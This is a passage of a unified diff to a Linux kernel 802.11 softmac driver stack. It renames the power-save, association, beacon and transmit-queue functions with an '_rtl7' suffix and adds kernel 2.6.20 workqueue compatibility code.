u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * 